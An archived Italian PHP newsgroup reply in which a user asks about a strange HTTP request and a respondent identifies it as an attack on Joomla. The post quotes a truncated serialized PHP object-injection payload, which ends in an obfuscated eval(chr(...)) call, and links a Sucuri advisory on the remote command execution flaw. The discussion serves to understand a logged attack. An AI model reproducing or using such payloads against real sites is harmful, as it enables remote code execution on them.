Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > it.comp.www.php > #20624
| From | Alessandro Pellizzari <shuriken@amiran.it> |
|---|---|
| Newsgroups | it.comp.www.php |
| Subject | Re: Una cosa curiosa. |
| Date | 2016-04-09 06:57 +0000 |
| Message-ID | <dmrnfgFrmd1U2@mid.individual.net> (permalink) |
| References | <ndtbe7$2ucv$1@adenine.netfront.net> |
Il Mon, 04 Apr 2016 11:16:54 +0200, Alex ha scritto:
> A volte si vedono chiamate http veramente strane.
> Ad esempio questa dove al posto dell' IP c'è una cosa del genere:
>
> }__test|O:21:"JDatabaseDriverMysqli":3:
{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"
> disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:
{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1348:"eval
(chr(99).chr(111).chr(112).chr(121).c
Mi hai incuriosito e ho trovato questo:
https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-
joomla.html
> Ok, il php permette di filtrare l' IP in arrivo, però mi chiedo come
> accidenti fanno a fare chiamate http che hanno la stringa dell' IP così
> fasulla.
Ma sei sicuro fosse nell'IP? Da quel sito sembra sia nella query string.
Bye.
Back to it.comp.www.php | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread
Una cosa curiosa. Alex <tommaso5ita@yahoo.it> - 2016-04-04 11:16 +0200
Re: Una cosa curiosa. Alessandro Pellizzari <shuriken@amiran.it> - 2016-04-09 06:57 +0000
Re: Una cosa curiosa. Alex <tommaso5ita@yahoo.it> - 2016-04-09 12:19 +0200
Re: Una cosa curiosa. fmigliori <fmigliori@gmail.com> - 2016-04-09 06:40 -0700
Re: Una cosa curiosa. Alex <tommaso5ita@yahoo.it> - 2016-04-10 11:15 +0200
Re: Una cosa curiosa. Alessandro Pellizzari <shuriken@amiran.it> - 2016-04-10 09:44 +0000
Re: Una cosa curiosa. Alex <tommaso5ita@yahoo.it> - 2016-04-11 13:10 +0200
Re: Una cosa curiosa. Alessandro Pellizzari <shuriken@amiran.it> - 2016-04-09 21:53 +0000
Re: Una cosa curiosa. Leonardo Serni <lserni@gmail.com> - 2016-04-10 00:36 +0200
Re: Una cosa curiosa. g4b0 <email_sul_mio_sito@che_leggi_in.firma> - 2016-04-11 15:52 +0200
csiph-web